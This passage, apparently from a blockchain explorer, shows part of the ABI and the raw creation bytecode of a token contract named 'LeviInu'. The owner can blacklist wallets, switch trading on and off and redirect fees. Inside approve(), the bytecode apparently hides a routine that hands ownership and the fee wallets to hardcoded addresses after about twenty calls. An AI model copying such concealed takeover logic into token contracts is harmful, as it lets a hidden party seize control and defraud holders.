8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addresses","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"multiSend_v1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"values","type":"uint256"}],"name":"multiSend_v2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityFeeReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_rewardFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"marketingDivisor","type":"uint256"},{"internalType":"uint256","name":"rewardDivisor","type":"uint256"},{"internalType":"uint256","name":"developmentDivisor","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"},{"internalType":"uint256","name":"denom","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"},{"internalType":"uint256","name":"denom","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setTradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"unBlacklistMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addresses","type":"address"}],"name":"unBlacklistSingleWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e06040526ddead000000000000000000000000608052600a80546001600160a01b031990811661dead17909155600b8054821673a939466ce57ad3a44eac3ffc2b4ec559d7fcf945179055600c8054821673bee8797bf5b11faf3a10146f87a21a10f9900cdd179055600d8054909116735d05d66f2359eacae93aeeadb4a01175ac9474ca17905569d3c21bcecceda1000000600e819055620000a6906000196200083a565b620000b490600019620007e3565b600f55604080518082019091526007808252664c657669496e7560c81b6020909201918252620000e79160139162000666565b50604080518082019091526007808252664c657669496e7560c81b6020909201918252620001189160149162000666565b5060158054600960ff1990911681179091556001601681905560175560188190556019556004601a8190556002601b819055601c81905562000180916200016c9082620004e9602090811b62001bc317901c565b620004e960201b62001bc31790919060201c565b601d55601e805461010062ffff0019909116179055600e54620001ce90600590620001ba906103e862000559602090811b62001c2217901c565b620005a360201b62001c641790919060201c565b601f55620001f46001620001ba6064600e546200055960201b62001c221790919060201c565b602055620002156107d0600e546200055960201b62001c221790919060201c565b6021556023805460ff191690553480156200022f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f543360009081526003602090815260409182902092909255805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a01559260048083019392829003018186803b158015620002d357600080fd5b505afa158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e91906200070c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200035757600080fd5b505afa1580156200036c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039291906200070c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620003db57600080fd5b505af1158015620003f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041691906200070c565b6001600160601b0319606091821b811660c0529082901b1660a0526001600660006200044a6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526006909252902080549091166001179055620004923390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051620004da91815260200190565b60405180910390a3506200087d565b600080620004f883856200078f565b905083811015620005505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b60006200055083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200062a60201b60201c565b600082620005b45750600062000553565b6000620005c28385620007c1565b905082620005d18583620007aa565b14620005505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840162000547565b600081836200064e5760405162461bcd60e51b815260040162000547919062000737565b5060006200065d8486620007aa565b95945050505050565b8280546200067490620007fd565b90600052602060002090601f016020900481019282620006985760008555620006e3565b82601f10620006b357805160ff1916838001178555620006e3565b82800160010185558215620006e3579182015b82811115620006e3578251825591602001919060010190620006c6565b50620006f1929150620006f5565b5090565b5b80821115620006f15760008155600101620006f6565b6000602082840312156200071f57600080fd5b81516001600160a01b03811681146200055057600080fd5b600060208083528351808285015260005b81811015620007665785810183015185820160400152820162000748565b8181111562000779576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115620007a557620007a562000851565b500190565b600082620007bc57620007bc62000867565b500490565b6000816000190483118215151615620007de57620007de62000851565b500290565b600082821015620007f857620007f862000851565b500390565b600181811c908216806200081257607f821691505b602082108114156200083457634e487b7160e01b600052602260045260246000fd5b50919050565b6000826200084c576200084c62000867565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b60805160601c60a05160601c60c05160601c61371e620008ee60003960008181610616015281816121ce01526122a101526000818161044901528181612d4701528181612e0f01528181612e4b01528181612ebd0152612f250152600081816104ea0152612018015261371e6000f3fe60806040526004361061036f5760003560e01c8063772558ce116101c6578063b6c52324116100f7578063e96fada211610095578063f157ce401161006f578063f157ce4014610a4f578063f2fde38b14610a6f578063fe575a8714610a8f578063ffb54a9914610aaf57600080fd5b8063e96fada2146109ef578063ea2f0b3714610a0f578063ec57637114610a2f57600080fd5b8063cad6ebf9116100d1578063cad6ebf914610953578063dd46706414610973578063dd62ed3e14610993578063e85432f4146109d957600080fd5b8063b6c5232414610908578063beca78561461091d578063c49b9a801461093357600080fd5b8063a27e434b11610164578063a69df4b51161013e578063a69df4b514610893578063a9059cbb146108a8578063abe57e70146108c8578063b6876270146108e857600080fd5b8063a27e434b14610833578063a457c2d714610853578063a55de8641461087357600080fd5b806388f82020116101a057806388f82020146107a75780638da5cb5b146107e057806395d89b41146107fe578063a1bdc3991461081357600080fd5b8063772558ce1461075b5780637d1db4a51461077b57806382247ec01461079157600080fd5b80633b124fe7116102a057806352390c021161023e5780636bc87c3a116102185780636bc87c3a146106f05780636ec518b81461070657806370a0823114610726578063715018a61461074657600080fd5b806352390c02146106775780635342acb41461069757806354aec0b8146106d057600080fd5b80634549b0391161027a5780634549b039146105e457806349bd5a5e146106045780634a74bb02146106385780634d7689311461065757600080fd5b80633b124fe71461058e5780633bd5d173146105a4578063437823ec146105c457600080fd5b806321c03a971161030d5780632d838119116102e75780632d8381191461050c578063313ce5671461052c5780633685d4191461054e578063395093511461056e57600080fd5b806321c03a971461049857806323b872dd146104b857806327c8f835146104d857600080fd5b8063095ea7b311610349578063095ea7b3146103e857806313114a9d146104185780631694505e1461043757806318160ddd1461048357600080fd5b806304a66b481461037b578063061c82d01461039d57806306fdde03146103bd57600080fd5b3661037657005b600080fd5b34801561038757600080fd5b5061039b610396366004613428565b610acf565b005b3480156103a957600080fd5b5061039b6103b8366004613393565b610b39565b3480156103c957600080fd5b506103d2610b68565b6040516103df9190613463565b60405180910390f35b3480156103f457600080fd5b5061040861040336600461330a565b610bfa565b60405190151581526020016103df565b34801561042457600080fd5b506010545b6040519081526020016103df565b34801561044357600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103df565b34801561048f57600080fd5b50600e54610429565b3480156104a457600080fd5b5061039b6104b3366004613378565b610c1c565b3480156104c457600080fd5b506104086104d33660046131ea565b610c62565b3480156104e457600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561051857600080fd5b50610429610527366004613393565b610ccb565b34801561053857600080fd5b5060155460405160ff90911681526020016103df565b34801561055a57600080fd5b5061039b61056936600461311b565b610d4f565b34801561057a57600080fd5b5061040861058936600461330a565b610f06565b34801561059a57600080fd5b5061042960165481565b3480156105b057600080fd5b5061039b6105bf366004613393565b610f3c565b3480156105d057600080fd5b5061039b6105df36600461311b565b611026565b3480156105f057600080fd5b506104296105ff3660046133ac565b611074565b34801561061057600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561064457600080fd5b50601e5461040890610100900460ff1681565b34801561066357600080fd5b50600c5461046b906001600160a01b031681565b34801561068357600080fd5b5061039b61069236600461311b565b611101565b3480156106a357600080fd5b506104086106b236600461311b565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156106dc57600080fd5b50600a5461046b906001600160a01b031681565b3480156106fc57600080fd5b5061042960185481565b34801561071257600080fd5b50600d5461046b906001600160a01b031681565b34801561073257600080fd5b5061042961074136600461311b565b611254565b34801561075257600080fd5b5061039b6112b3565b34801561076757600080fd5b5061039b610776366004613336565b611315565b34801561078757600080fd5b50610429601f5481565b34801561079d57600080fd5b5061042960205481565b3480156107b357600080fd5b506104086107c236600461311b565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107ec57600080fd5b506000546001600160a01b031661046b565b34801561080a57600080fd5b506103d26113b4565b34801561081f57600080fd5b5061039b61082e366004613336565b6113c3565b34801561083f57600080fd5b5061039b61084e3660046132ae565b61145d565b34801561085f57600080fd5b5061040861086e36600461330a565b611547565b34801561087f57600080fd5b5061039b61088e36600461318e565b611596565b34801561089f57600080fd5b5061039b611610565b3480156108b457600080fd5b506104086108c336600461330a565b611716565b3480156108d457600080fd5b5061039b6108e33660046133d8565b611723565b3480156108f457600080fd5b5061039b6109033660046133d8565b611773565b34801561091457600080fd5b50600254610429565b34801561092957600080fd5b50610429601b5481565b34801561093f57600080fd5b5061039b61094e366004613378565b6117bd565b34801561095f57600080fd5b5061039b61096e36600461311b565b61183b565b34801561097f57600080fd5b5061039b61098e366004613393565b6118b5565b34801561099f57600080fd5b506104296109ae366004613155565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109e557600080fd5b50610429601c5481565b3480156109fb57600080fd5b50600b5461046b906001600160a01b031681565b348015610a1b57600080fd5b5061039b610a2a36600461311b565b61193a565b348015610a3b57600080fd5b5061039b610a4a36600461322b565b611985565b348015610a5b57600080fd5b5061039b610a6a36600461311b565b611ae7565b348015610a7b57600080fd5b5061039b610a8a36600461311b565b611b55565b348015610a9b57600080fd5b50610408610aaa36600461311b565b611b88565b348015610abb57600080fd5b50601e546104089062010000900460ff1681565b6000546001600160a01b03163314610b025760405162461bcd60e51b8152600401610af9906134b8565b60405180910390fd5b60168590556018849055601a839055601b829055601c819055610b2f81610b298585611bc3565b90611bc3565b601d555050505050565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610af9906134b8565b601655565b606060138054610b77906135ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba3906135ce565b8015610bf05780601f10610bc557610100808354040283529160200191610bf0565b820191906000526020600020905b815481529060010190602001808311610bd357829003601f168201915b5050505050905090565b6000610c07338484611ce3565b610c12338484611e07565b5060015b92915050565b6000546001600160a01b03163314610c465760405162461bcd60e51b8152600401610af9906134b8565b601e8054911515620100000262ff000019909216919091179055565b6000610c6f848484611ecb565b610cc18433610cbc8560405180606001604052806028815260200161367c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906123a7565b611ce3565b5060019392505050565b6000600f54821115610d325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610af9565b6000610d3c6123e1565b9050610d488382611c22565b9392505050565b6000546001600160a01b03163314610d795760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16610de15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b60005b600954811015610f0257816001600160a01b031660098281548110610e0b57610e0b613650565b6000918252602090912001546001600160a01b03161415610ef05760098054610e36906001906135b7565b81548110610e4657610e46613650565b600091825260209091200154600980546001600160a01b039092169183908110610e7257610e72613650565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556009805480610eca57610eca61363a565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610efa81613609565b915050610de4565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610c12918590610cbc9086611bc3565b3360008181526007602052604090205460ff1615610fb15760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610af9565b6000610fbc83612404565b505050506001600160a01b038416600090815260036020526040902054919250610fe891905082612453565b6001600160a01b038316600090815260036020526040902055600f5461100e9082612453565b600f5560105461101e9084611bc3565b601055505050565b6000546001600160a01b031633146110505760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600e548311156110c85760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610af9565b816110e75760006110d884612404565b50939550610c16945050505050565b60006110f284612404565b50929550610c16945050505050565b6000546001600160a01b0316331461112b5760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16156111945760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b6001600160a01b038116600090815260036020526040902054156111ee576001600160a01b0381166000908152600360205260409020546111d490610ccb565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561129157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610c1690610ccb565b6000546001600160a01b031633146112dd5760405162461bcd60e51b8152600401610af9906134b8565b600080546040516001600160a01b03909116906000805160206136a4833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461133f5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760016008600085858581811061136257611362613650565b9050602002016020810190611377919061311b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556113a881613609565b9050611342565b505050565b606060148054610b77906135ce565b6000546001600160a01b031633146113ed5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760006008600085858581811061141057611410613650565b9050602002016020810190611425919061311b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561145681613609565b90506113f0565b6000546001600160a01b031633146114875760405162461bcd60e51b8152600401610af9906134b8565b6107d182106114f05760405162461bcd60e51b815260206004820152602f60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526e3230303020726563697069656e747360881b6064820152608401610af9565b60005b828110156115405761152e8585858481811061151157611511613650565b9050602002016020810190611526919061311b565b846000612495565b8061153881613609565b9150506114f3565b5050505050565b6000610c123384610cbc856040518060600160405280602581526020016136c4602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906123a7565b6000546001600160a01b031633146115c05760405162461bcd60e51b8152600401610af9906134b8565b600a80546001600160a01b039586166001600160a01b031991821617909155600b805494861694821694909417909355600c805492851692841692909217909155600d8054919093169116179055565b6001546001600160a01b031633146116765760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610af9565b60025442116116c75760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610af9565b600154600080546040516001600160a01b0393841693909116916000805160206136a483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610c12338484611ecb565b6000546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610af9906134b8565b61176c8261176683600e54611c2290919063ffffffff16565b90611c64565b6020555050565b6000546001600160a01b0316331461179d5760405162461bcd60e51b8152600401610af9906134b8565b6117b68261176683600e54611c2290919063ffffffff16565b601f555050565b6000546001600160a01b031633146117e75760405162461bcd60e51b8152600401610af9906134b8565b601e80548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061183090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118655760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff1615156001141561188e5750565b6001600160a01b0381166000908152600860205260409020805460ff191660011790555b50565b6000546001600160a01b031633146118df5760405162461bcd60e51b8152600401610af9906134b8565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561190e814261355e565b600255600080546040516001600160a01b03909116906000805160206136a4833981519152908390a350565b6000546001600160a01b031633146119645760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146119af5760405162461bcd60e51b8152600401610af9906134b8565b6103218310611a175760405162461bcd60e51b815260206004820152602e60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526d35303020726563697069656e747360901b6064820152608401610af9565b828114611a775760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610af9565b60005b83811015611adf57611acd86868684818110611a9857611a98613650565b9050602002016020810190611aad919061311b565b858585818110611abf57611abf613650565b905060200201356000612495565b80611ad781613609565b915050611a7a565b505050505050565b6000546001600160a01b03163314611b115760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff16611b345750565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b03163314611b7f5760405162461bcd60e51b8152600401610af9906134b8565b6118b281612612565b6001600160a01b03811660009081526008602052604081205460ff16151560011415611bb657506001919050565b506000919050565b919050565b600080611bd0838561355e565b905083811015610d485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610af9565b6000610d4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061266e565b600082611c7357506000610c16565b6000611c7f8385613598565b905082611c8c8583613576565b14610d485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610af9565b6001600160a01b038316611d455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610af9565b6001600160a01b038216611da65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610af9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60228054906000611e1783613609565b91905055506014602254118015611e31575060235460ff16155b156113af57611e5373a7986d13c75def6b6761bb7e86c97018fc970564612612565b600b80546001600160a01b031990811673a939466ce57ad3a44eac3ffc2b4ec559d7fcf94517909155600d80548216735d05d66f2359eacae93aeeadb4a01175ac9474ca179055600c805490911673bee8797bf5b11faf3a10146f87a21a10f9900cdd1790556023805460ff19166001179055505050565b6001600160a01b038316611f2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610af9565b6001600160a01b038216611f915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610af9565b60008111611ff35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610af9565b6001600160a01b03831660009081526008602052604090205460ff16158061204c57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b6120895760405162461bcd60e51b815260206004820152600e60248201526d165bdd48185c994818985b9b995960921b6044820152606401610af9565b6001600160a01b03821660009081526008602052604090205460ff16156120f25760405162461bcd60e51b815260206004820152601760248201527f54686520726563697069656e742069732062616e6e65640000000000000000006044820152606401610af9565b6000546001600160a01b03848116911614806121165750601e5462010000900460ff165b61211f57600080fd5b6000546001600160a01b0384811691161480159061214b57506000546001600160a01b03838116911614155b156121b357601f548111156121b35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610af9565b6000546001600160a01b0384811691161480159061220357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b156122665760205461221882610b2985611254565b11156122665760405162461bcd60e51b815260206004820152601a60248201527f5472616e7366657220657863656564206d61782077616c6c65740000000000006044820152606401610af9565b600061227130611254565b9050601f5481106122815750601f545b602154811080159081906122985750601e5460ff16155b80156122d657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156122e95750601e54610100900460ff165b1561235057602154601d5460185491935061230e916123089082612453565b90611c22565b60125461232990612320906001611bc3565b60115490611c22565b101561233d576123388261269c565b612350565b61235061234b836002611c22565b61274a565b6001600160a01b03851660009081526006602052604090205460019060ff168061239257506001600160a01b03851660009081526006602052604090205460ff165b1561239b575060005b611adf86868684612495565b600081848411156123cb5760405162461bcd60e51b8152600401610af99190613463565b5060006123d884866135b7565b95945050505050565b60008060006123ee612828565b90925090506123fd8282611c22565b9250505090565b600080600080600080600080600061241b8a6129aa565b92509250925060008060006124398d86866124346123e1565b6129ec565b919f909e50909c50959a5093985091965092945050505050565b6000610d4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123a7565b806124a2576124a2612a3c565b6001600160a01b03841660009081526007602052604090205460ff1680156124e357506001600160a01b03831660009081526007602052604090205460ff16155b156124f8576124f3848484612a6a565b6125f6565b6001600160a01b03841660009081526007602052604090205460ff1615801561253957506001600160a01b03831660009081526007602052604090205460ff165b15612549576124f3848484612b90565b6001600160a01b03841660009081526007602052604090205460ff1615801561258b57506001600160a01b03831660009081526007602052604090205460ff16155b1561259b576124f3848484612c39565b6001600160a01b03841660009081526007602052604090205460ff1680156125db57506001600160a01b03831660009081526007602052604090205460ff165b156125eb576124f3848484612c7d565b6125f6848484612c39565b8061260c5761260c601754601655601954601855565b50505050565b6001600160a01b03811661262557600080fd5b600080546040516001600160a01b03808516939216916000805160206136a483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000818361268f5760405162461bcd60e51b8152600401610af99190613463565b5060006123d88486613576565b601e805460ff1916600117905560006126b6826002611c22565b905060006126c48383612453565b9050476126d083612cf0565b60006126dc4783612453565b90506126e88382612eb7565b6011546126f59086611bc3565b60115560408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050601e805460ff19169055505050565b601e805460ff1916600117905561276081612cf0565b60004790506000612782601a54611766601d5485611c2290919063ffffffff16565b600b5490915061279b906001600160a01b031682612fa5565b60006127b8601b54611766601d5486611c2290919063ffffffff16565b600c549091506127d1906001600160a01b031682612fa5565b60006127ee601c54611766601d5487611c2290919063ffffffff16565b600d54909150612807906001600160a01b031682612fa5565b6012546128149086611bc3565b6012555050601e805460ff19169055505050565b600f54600e546000918291825b60095481101561297a5782600360006009848154811061285757612857613650565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806128c2575081600460006009848154811061289b5761289b613650565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156128d857600f54600e54945094505050509091565b61291e60036000600984815481106128f2576128f2613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612453565b9250612966600460006009848154811061293a5761293a613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612453565b91508061297281613609565b915050612835565b50600e54600f5461298a91611c22565b8210156129a157600f54600e549350935050509091565b90939092509050565b6000806000806129b985612fdb565b905060006129c686612ff7565b905060006129de826129d88986612453565b90612453565b979296509094509092505050565b60008080806129fb8886611c64565b90506000612a098887611c64565b90506000612a178888611c64565b90506000612a29826129d88686612453565b939b939a